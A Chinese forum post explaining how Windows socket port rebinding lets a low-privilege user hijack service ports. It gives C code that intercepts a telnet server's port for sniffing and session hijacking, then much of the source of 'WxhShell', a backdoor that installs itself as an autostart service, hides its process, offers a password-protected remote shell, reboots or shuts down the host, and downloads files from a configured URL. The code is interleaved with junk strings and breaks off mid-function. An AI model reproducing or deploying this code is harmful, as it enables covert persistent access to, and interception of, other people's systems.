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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qkd<sxL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |*'cF-lp6v  
MF'$~gxo  
  saddr.sin_family = AF_INET; RQ'H$r.7g  
'F _8j;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X(\fN[;  
weE/TW\e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <Gt2(;  
o(r\E0 I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rx);7j/5  
nZ@&2YPlem  
  这意味着什么?意味着可以进行如下的攻击: 8&3V#sn'  
'&gF>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E gal4  
`}l JH i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bBS,-vN  
p Wt) A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J]G?Rc  
1!1 beR]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x7<\] 94  
=}v}my3y"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L2pp6bW  
)d$glI+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H N.3  
u\LFlX0sO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q|v(Edt|_[  
]"1`+q6i  
  #include I-WhH>9  
  #include 0em#-*|2"  
  #include YR>B_,Gl  
  #include    B,K>rCZ/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FcRW;e8-  
  int main() _jNj-)RB_  
  { 9f',7i  
  WORD wVersionRequested; ZP;j9 T!  
  DWORD ret; _=NwQu\_F  
  WSADATA wsaData; }p!HT6 tZ  
  BOOL val; /u0' 6V  
  SOCKADDR_IN saddr; 5fm?Lxr&?  
  SOCKADDR_IN scaddr; kIGbG;"_  
  int err; 9P~\Mpk  
  SOCKET s; +H9>A0JF  
  SOCKET sc; "ajjJ"x A  
  int caddsize; pDh{Z g6t  
  HANDLE mt; /qx0TDB  
  DWORD tid;   AjT%]9 V?  
  wVersionRequested = MAKEWORD( 2, 2 ); Xy@7y[s]  
  err = WSAStartup( wVersionRequested, &wsaData ); 1 29q`u;  
  if ( err != 0 ) { =9z[[dQ|L  
  printf("error!WSAStartup failed!\n"); e#Z$o($t  
  return -1; ( @3\`\X  
  } md q;R*`  
  saddr.sin_family = AF_INET; r ; xLP  
   {.De4]ANh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CMCO}#  
|R56ho5C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e?Ho a$k  
  saddr.sin_port = htons(23); 98WZ){+,m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;Y; qg  
  { @~#Ym1{W  
  printf("error!socket failed!\n"); ooV3gj4  
  return -1; rN%F) q#  
  } 7hi"6,  
  val = TRUE; aS pWsT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #F*1V(!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,daKC  
  { ^~$)F_`"  
  printf("error!setsockopt failed!\n"); RgGyoZ  
  return -1; _x? uU  
  } ObE,$_ k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;+tpvnV;]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GD:4"$)[o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >9f%@uSM$3  
}j^\(2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >TP7 }u|  
  { CXO2N1~(J  
  ret=GetLastError(); S=nP[s  
  printf("error!bind failed!\n"); ec gtUb8K  
  return -1; Cf:#( D  
  } .%^]9/4  
  listen(s,2); ]miy/V }5  
  while(1) 2 OwV^-OG  
  { TU GNq  
  caddsize = sizeof(scaddr); hBFP1u/E'  
  //接受连接请求 <TE%Prd}`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9{$<0,?  
  if(sc!=INVALID_SOCKET) rS?pWTg"8  
  { zt<WXw(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y= ]dvc  
  if(mt==NULL) GHHav12][  
  { bg3"W,bv%  
  printf("Thread Creat Failed!\n"); Ga^Zb^y  
  break; 8-lOB  
  } 5 gv/Pq&  
  } ! /NG.Wf  
  CloseHandle(mt); J%jB?2 1:o  
  } c= x,ijY "  
  closesocket(s); qt3PXqR7 :  
  WSACleanup(); cI=r+ OGk*  
  return 0;  :Mcu  
  }   \o Eo~  
  DWORD WINAPI ClientThread(LPVOID lpParam) f_imyzP   
  { 581e+iC~<H  
  SOCKET ss = (SOCKET)lpParam; js8{]04y  
  SOCKET sc; sj8~?O  
  unsigned char buf[4096]; ^<:sdv>Y5  
  SOCKADDR_IN saddr; GV^i`r^"  
  long num; C-?%uF  
  DWORD val; Q3 eM2i8Y  
  DWORD ret; Hzhceeh_+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e+]6OV&+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m "M("%  
  saddr.sin_family = AF_INET; ncX/L[L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <d<mvXbw_@  
  saddr.sin_port = htons(23); 3VUWX5K?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^47PLLRP  
  { u- o--q  
  printf("error!socket failed!\n"); RC^9HuR&  
  return -1; g >'p>}t  
  } v|ck>_" .  
  val = 100; oP2fX_v1x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )' hH^(Yu  
  { dDD<E?TjD  
  ret = GetLastError(); #9m$ N  
  return -1; 3G meD/6  
  } % ',F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qA:#iJ8w  
  { O0:)X)b  
  ret = GetLastError(); ~-#yOu ,w  
  return -1; C'!;J  
  } tdEnk.O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 37q@rDm2  
  { ~+H" -+  
  printf("error!socket connect failed!\n"); -wv6s#"u  
  closesocket(sc); {0@& OO:w  
  closesocket(ss); /{{UP-  
  return -1; \NG C$p n  
  } {Rear 2  
  while(1) kwud?2E  
  { 7P B)'Wl"6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3s:%2%jVK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +'G0{;b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H3H_u4_?SE  
  num = recv(ss,buf,4096,0);  x-'~Bu  
  if(num>0) XG@`ZJhU6  
  send(sc,buf,num,0); J@ L9p46,  
  else if(num==0) Dl&GJ`&:p  
  break; <X_!x_x  
  num = recv(sc,buf,4096,0); ;+I/I9~  
  if(num>0) <N(oDaU  
  send(ss,buf,num,0); axk"^gps  
  else if(num==0) s 1ge0~p3  
  break; a P&D9%5  
  } }6-ZE9H-v  
  closesocket(ss); ow/57P  
  closesocket(sc); XYH|;P6K  
  return 0 ; CN2_bz  
  } P0i V<T4^  
phYDs9-K  
/U$8TT8+-  
========================================================== 45@]:2j  
5y} v{Ijt  
下边附上一个代码,,WXhSHELL !$g+F(:(c  
0fs$#j  
========================================================== >qo~d?+  
7 yt=]1  
#include "stdafx.h" m7%C#+67  
d"U(`E=H9  
#include <stdio.h> #g5^SR|qE  
#include <string.h> m9md|yS  
#include <windows.h> kJ(A,s|  
#include <winsock2.h> qUo-Dq>  
#include <winsvc.h> @4!x>q$3  
#include <urlmon.h> e9^2,:wLB  
1P]de'-`j  
#pragma comment (lib, "Ws2_32.lib") J.R AmU<  
#pragma comment (lib, "urlmon.lib") `*\{.;,]#  
.9|u QEL  
#define MAX_USER   100 // 最大客户端连接数 3_`szl-  
#define BUF_SOCK   200 // sock buffer j}+5vB|0  
#define KEY_BUFF   255 // 输入 buffer [WB{T3j  
33~qgK1>  
#define REBOOT     0   // 重启 "Jy~PcJZ1  
#define SHUTDOWN   1   // 关机 n(lk dw  
lM#A3/=K  
#define DEF_PORT   5000 // 监听端口 O}#yijU3e  
&s)0z)mR8&  
#define REG_LEN     16   // 注册表键长度 3,);0@I  
#define SVC_LEN     80   // NT服务名长度 7W9~1 .SC  
IC{F.2D  
// 从dll定义API Gy@7Xf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : &J8.G^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (D{Ys'{q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5M23/= N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g6sjc,`  
s(&;q4|  
// wxhshell配置信息 P|^$kK  
struct WSCFG { i_F$&?)  
  int ws_port;         // 监听端口 1Xyp/X2rI  
  char ws_passstr[REG_LEN]; // 口令 WjM>kWv  
  int ws_autoins;       // 安装标记, 1=yes 0=no \h3e-)  
  char ws_regname[REG_LEN]; // 注册表键名 z]Acs  
  char ws_svcname[REG_LEN]; // 服务名 VG*'"y *%w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sFb4`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3]n0 &MZAR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {*/dD`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )9P&=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~ H[%vdR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "L3Xd][  
ewB!IJxh  
}; 8,o17}NY,  
u{bL-a8}  
// default Wxhshell configuration L"rcv:QWZa  
struct WSCFG wscfg={DEF_PORT, [}3cDR  
    "xuhuanlingzhe", V+w u  
    1, hkW{88  
    "Wxhshell", qSQ@p\O~  
    "Wxhshell", PMKb ]y  
            "WxhShell Service", |,}E0G.  
    "Wrsky Windows CmdShell Service", .yVnw^gu  
    "Please Input Your Password: ", 2W3W/> 2 h  
  1, dALK0U  
  "http://www.wrsky.com/wxhshell.exe", 4VIg>EL*  
  "Wxhshell.exe" o&^NwgRCF  
    }; 4R+P  
@+^c"=d1S  
// 消息定义模块 Lm.`+W5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V2yveNz\7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [[qwaI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CW:gEm+  
char *msg_ws_ext="\n\rExit."; D&*LBQ/K  
char *msg_ws_end="\n\rQuit."; >;i\v7  
char *msg_ws_boot="\n\rReboot..."; Qg0vG]  
char *msg_ws_poff="\n\rShutdown..."; " OGdE_E  
char *msg_ws_down="\n\rSave to "; IM ad$AKc  
JJl7JwSTW  
char *msg_ws_err="\n\rErr!"; 2q %K)h  
char *msg_ws_ok="\n\rOK!"; ARx0zI%N  
JCQ:+eqt  
char ExeFile[MAX_PATH]; -NDi5i\  
int nUser = 0; p(7QAd4  
HANDLE handles[MAX_USER]; VjTe4$ *  
int OsIsNt; g8yN% )[  
_=6OP8  
SERVICE_STATUS       serviceStatus; 3C"_$?y"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vF>gU_gz.  
Yg6I&#f7&  
// 函数声明 +p?hGoF=  
int Install(void); S!7g)  
int Uninstall(void); iMWW%@U^=  
int DownloadFile(char *sURL, SOCKET wsh); ) p^  
int Boot(int flag); G\1J _al  
void HideProc(void); Lh 9S8EU  
int GetOsVer(void); d,R6` i  
int Wxhshell(SOCKET wsl); Zu=kT}aGg  
void TalkWithClient(void *cs); } gkP  
int CmdShell(SOCKET sock); b%nkIPA  
int StartFromService(void); 9bEM#Hj  
int StartWxhshell(LPSTR lpCmdLine); VD#!ztcY'  
bag&BHw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pGGV\zD^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O3ZM:,.  
\/,g VT  
// 数据结构和表定义 BPWnck=%  
SERVICE_TABLE_ENTRY DispatchTable[] = Z}[xQ5  
{ ZT9IMihV  
{wscfg.ws_svcname, NTServiceMain}, Qcgu`]7}  
{NULL, NULL} Wy(pLBmb  
}; 6_U |(f  
n{=7 yK  
// 自我安装 2 `5=0E1k  
int Install(void) n4>cERf a  
{ 01nsdZ-  
  char svExeFile[MAX_PATH]; QUPf *3Oy  
  HKEY key; hb! ln7  
  strcpy(svExeFile,ExeFile); C*O ,rm}  
bpMl =_  
// 如果是win9x系统,修改注册表设为自启动 M]B3vPA/v  
if(!OsIsNt) { W^(Iw%ek  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~@YQ,\Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ! IgoL&=  
  RegCloseKey(key); a)S(p1BGg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +\U]p_Fo3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h^d\xn9GT#  
  RegCloseKey(key); ;>C9@S+  
  return 0; S*rO0s:  
    } `r]TA]D R  
  } )]A9~H  
} M1(9A>|nF  
else { 0h:G4  
K6(.KEW  
// 如果是NT以上系统,安装为系统服务 qwP$~Bj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &>V/X{>$`K  
if (schSCManager!=0) 2C{/`N  
{ (0g7-Ci  
  SC_HANDLE schService = CreateService F8 ?uQP8  
  ( n7+aM@G  
  schSCManager, H`?* bG  
  wscfg.ws_svcname, bpnv&EG  
  wscfg.ws_svcdisp, nF j-<!  
  SERVICE_ALL_ACCESS, -? Tz.y&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3]_qj*V  
  SERVICE_AUTO_START, 'f6PjI  
  SERVICE_ERROR_NORMAL, e2Ww0IK!E  
  svExeFile, TC@bL<1  
  NULL, t]r7cA  
  NULL, .}~$1QKS  
  NULL, lY->ucS %P  
  NULL, blmmm(|~|  
  NULL 77^ "xsa  
  ); ~xE=mg4le  
  if (schService!=0) E+Im~=m$  
  {  Db,= 2e  
  CloseServiceHandle(schService); & L3UlL  
  CloseServiceHandle(schSCManager); UE{,.s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U81;7L8  
  strcat(svExeFile,wscfg.ws_svcname); 363cuRP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9,w}Xe=C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y3IA '  
  RegCloseKey(key); \.kTe<.:_  
  return 0; }R`Irxv4  
    } %P(;8sS  
  } Yg$@Wb6  
  CloseServiceHandle(schSCManager);  A<2I!  
} |@+8]dy:l  
} C#ZhsWS!b  
;C+cE#   
return 1; 9E^~#j@Zr  
} "NJ ,0A  
-!i;7[N  
// 自我卸载 ,7t3>9 -M"  
int Uninstall(void) D>ojW|@}  
{ z2.*#xTZn  
  HKEY key; Uld_X\;Q4  
I'xC+nL@  
if(!OsIsNt) { .|U4N/XN%q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Y[*lM-  
  RegDeleteValue(key,wscfg.ws_regname); }Z"28?  
  RegCloseKey(key); I Jqv w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nZ&T8@m  
  RegDeleteValue(key,wscfg.ws_regname); |OOXh[y  
  RegCloseKey(key); ss/h[4h4h  
  return 0; f V*}c`  
  } ^=Q8]W_*  
} 4}+xeGA$  
} >'eB2  
else { aMBL1d7  
]bs+:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,tcP=f dk]  
if (schSCManager!=0) W]Y@WKeT  
{ (D0C#<4P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A*rZQh b[  
  if (schService!=0) gW'P`Oxw  
  { a#YuKh?  
  if(DeleteService(schService)!=0) { +ylxezc  
  CloseServiceHandle(schService); Q^*G`&w,  
  CloseServiceHandle(schSCManager); y>>vGU;  
  return 0; SAd 97A:  
  } Tld1P69(  
  CloseServiceHandle(schService); rny@n^F  
  } ;RNM   
  CloseServiceHandle(schSCManager); )?F $-~7  
} wy,Jw3  
} f0/jwfL  
"}0)YRz%  
return 1; dNOX&$/=  
} <P|`7wfxE  
nu;} S!J  
// 从指定url下载文件 nw~/~eM5=  
int DownloadFile(char *sURL, SOCKET wsh) >Y,/dyT Zm  
{ {z.[tvE8h  
  HRESULT hr; ;[;)P tFz\  
char seps[]= "/"; 4}.WhE|h  
char *token; IUluJ.sXIf  
char *file; //#xK D  
char myURL[MAX_PATH]; Zx}N Fcn  
char myFILE[MAX_PATH]; ` (7N^@  
pi^^L@@ d  
strcpy(myURL,sURL); v(qV\:s}m  
  token=strtok(myURL,seps); 2q`)GCES~  
  while(token!=NULL) &_< VZS  
  { XD;15a  
    file=token; ExN j|*  
  token=strtok(NULL,seps); cxtLy&C  
  } ]NaMZ  
S 23S.]r  
GetCurrentDirectory(MAX_PATH,myFILE); ) 1lJ<g#  
strcat(myFILE, "\\"); aDm-X r  
strcat(myFILE, file); 1$:{{%  
  send(wsh,myFILE,strlen(myFILE),0); DZHrR:q?e  
send(wsh,"...",3,0); LL|_c4$Ky  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PWf{aHsr  
  if(hr==S_OK) ke3HK9P;  
return 0; ]I{qp~^#n  
else [<#<:h &\  
return 1; (t]lP/  
r[.zLXgK  
} 8gVxiFjo  
Bxn 8><  
// 系统电源模块 Fpj6Atk  
int Boot(int flag) 3e!3.$4M  
{ |@o]X?^  
  HANDLE hToken; WmT}t  
  TOKEN_PRIVILEGES tkp; w\"n!^ms  
Bq$e|t)'  
  if(OsIsNt) { E3CiZ4=5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |QAeQWP+1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jSeA %Te  
    tkp.PrivilegeCount = 1; `nd#< w>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aBqe+FXp4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <|KKv5[  
if(flag==REBOOT) { /%J&/2Wz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *j_fG$10g  
  return 0; yNhscAMNn  
} )Dk0V!%N  
else { Vq\..!y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5{R#h :  
  return 0; P`Hd*xh".j  
} jm#d7@~4  
  } J'G`=m"-'  
  else { 1K? & J2  
if(flag==REBOOT) { p:[`%<j0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ? RR Srr1  
  return 0; 66^1&D"  
} zbIwH6  
else { =M/ UHOY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eB<V%,%N#  
  return 0; [x$eF~Kp  
} xu%! b0  
} s{"`=dKT  
$+lz<~R  
return 1; {0A[v}X ~  
} rx}ujjx  
UALg!M#  
// win9x进程隐藏模块 Ry8WNVO}R  
void HideProc(void) 7kX7\[zN  
{ #U!(I#^3  
r'9=k x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =XacG}_  
  if ( hKernel != NULL ) D)O6| DiO  
  { 48~m=mI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I7q?V1f u4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,rH)}C<Q+  
    FreeLibrary(hKernel); {0)WS}&  
  } shDt&_n  
Cb@S </b  
return; <D;H} ef  
} w371.84  
!0. 5  
// 获取操作系统版本 Hz3 S^o7  
int GetOsVer(void) #)PGQ)(  
{ zNsL^;uT  
  OSVERSIONINFO winfo; J++sTQ(!?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l9ifUh e  
  GetVersionEx(&winfo); /ie3H,2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) . ~A"Wyu\  
  return 1; B GEJiLH  
  else  ,3@15j  
  return 0; >Rki[SNb-b  
} S"KTL*9D  
'#4mDz~  
// 客户端句柄模块 QzFv;  
int Wxhshell(SOCKET wsl) &Xl_sDvt  
{ L>5!3b=b  
  SOCKET wsh; K&D}!.~/  
  struct sockaddr_in client; e@2Vn? 5  
  DWORD myID; >uPde5"ZF-  
J%Z)#  
  while(nUser<MAX_USER) y`B!6p 5j  
{ VI|DM x   
  int nSize=sizeof(client); $p6Xa;j$9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2p3u6\y  
  if(wsh==INVALID_SOCKET) return 1; H8t{ >C)]  
t~<-4N$(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y^jnlS)h  
if(handles[nUser]==0) S^Wqa:;  
  closesocket(wsh); 2GD mZl  
else F&L?J_=  
  nUser++; { Sliy'  
  } [>J~M!yu:r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <0Egkz3s  
$jeDVH  
  return 0; (fGJP*YO  
} P"PeL B9K  
K_lL\  
// 关闭 socket Wse*gO  
void CloseIt(SOCKET wsh) DT(Zv2  
{ b1,T!xL  
closesocket(wsh); kG;\i  
nUser--; G|G?h  
ExitThread(0); v/TlXxfil  
} ik:)-GV;s  
3~3(G[w  
// 客户端请求句柄 dI0>m:RBz  
void TalkWithClient(void *cs) hA,rSq  
{ Zz)oMw  
\I,Dje/:w  
  SOCKET wsh=(SOCKET)cs; !,JT91  
  char pwd[SVC_LEN]; /DG`Hg  
  char cmd[KEY_BUFF]; U9p.Dh~)vG  
char chr[1]; x{`<);CQ  
int i,j; |7Xpb  
u FYQ^  
  while (nUser < MAX_USER) { zS"zb  
b{|/J<Fe  
if(wscfg.ws_passstr) { >/HU'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /glnJ3   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U`nS` p  
  //ZeroMemory(pwd,KEY_BUFF); |e-+xX|;  
      i=0; )|^<woli,  
  while(i<SVC_LEN) { 5wFS.!xD  
`E0.PV  
  // 设置超时 AGJ=de.  
  fd_set FdRead; 8.%a"sxr  
  struct timeval TimeOut; cA*X$j6  
  FD_ZERO(&FdRead); Y %D*O  
  FD_SET(wsh,&FdRead); WWs[]zr  
  TimeOut.tv_sec=8; g@6X|W5,J  
  TimeOut.tv_usec=0; wR<QeH'V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :-W CW);N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jgv>$u  
- 2na::<K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L+ETMk0  
  pwd=chr[0]; gZ >orZL'  
  if(chr[0]==0xd || chr[0]==0xa) { w4MMo  
  pwd=0; & Dl'*|  
  break; JX@6Sg<  
  } aj'8;E+  
  i++; }L7F g%,  
    } J'^$|/Q  
1> @|  
  // 如果是非法用户,关闭 socket 4k2c mM$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yb.|7U?/x  
} <QW1fE  
:8|3V~%m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *Qwhi&k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KRR^?  
<<zz*;RJJ  
while(1) { :2Rci`lp  
8J?`_  
  ZeroMemory(cmd,KEY_BUFF); X-r,>o:  
!#4HGjPI  
      // 自动支持客户端 telnet标准   *2C79hi1  
  j=0; {f-/,g~  
  while(j<KEY_BUFF) { f{5| }PL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SU}oKii /  
  cmd[j]=chr[0]; V #\ZS{'J  
  if(chr[0]==0xa || chr[0]==0xd) { j nA_!;b  
  cmd[j]=0; VJtTbt;>  
  break; 2gR_1*|  
  } ~rJw$v  
  j++; otH[?c?BT  
    } Q2pboZ86  
EC!Cv;'  
  // 下载文件 k|c0tvp  
  if(strstr(cmd,"http://")) { (5DGs_>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vh9s.=*P@  
  if(DownloadFile(cmd,wsh)) #~-&&S4a.J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CJtjn  
  else ne24QZ~}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o-<_X&"a|5  
  } w |FV qX  
  else { Csm!\ I  
F`V[G(f+r  
    switch(cmd[0]) { qg:I+"u  
  4e\`zy  
  // 帮助 Fl3r!a!P,  
  case '?': { n*4X/K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;)pV[3[  
    break; 4bi\$   
  } } 9s  
  // 安装  glX2L ~  
  case 'i': { ;Y&?ixx  
    if(Install()) XaS_3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4m(>"dHP  
    else -R \ @W q@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3.p@8@:  
    break; T9<nD"=:  
    } WHLKf  
  // 卸载 gN'i+mQcu  
  case 'r': { v.v%k2;  
    if(Uninstall()) E0A|+P '?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SFgIY]  
    else bYB}A :  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &j@J<*k  
    break; p[cL# fBz  
    } >!F,y3"5S  
  // 显示 wxhshell 所在路径 r<N*N,~  
  case 'p': { ^?xJpr%)  
    char svExeFile[MAX_PATH]; Z=[a 8CU  
    strcpy(svExeFile,"\n\r"); s1$#G!'  
      strcat(svExeFile,ExeFile); Cj9O [  
        send(wsh,svExeFile,strlen(svExeFile),0); iT9Ex9RL  
    break; (Tb0PzA  
    } |ylTy B  
  // 重启 B(Q.a&w45t  
  case 'b': { {u6fa>R&$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6|qvo+%  
    if(Boot(REBOOT)) Y4!q 1]TGX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I>o; %}  
    else { |(v=1#i  
    closesocket(wsh); v4~Xv5|w^F  
    ExitThread(0); _W@Fk)E6N  
    } m_I$"ge  
    break; vK7,O%!S  
    } ^J~4~!  
  // 关机 m$qC 8z]  
  case 'd': { ?JTyNg4<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >d V@9  
    if(Boot(SHUTDOWN)) Vzm+Ew _  
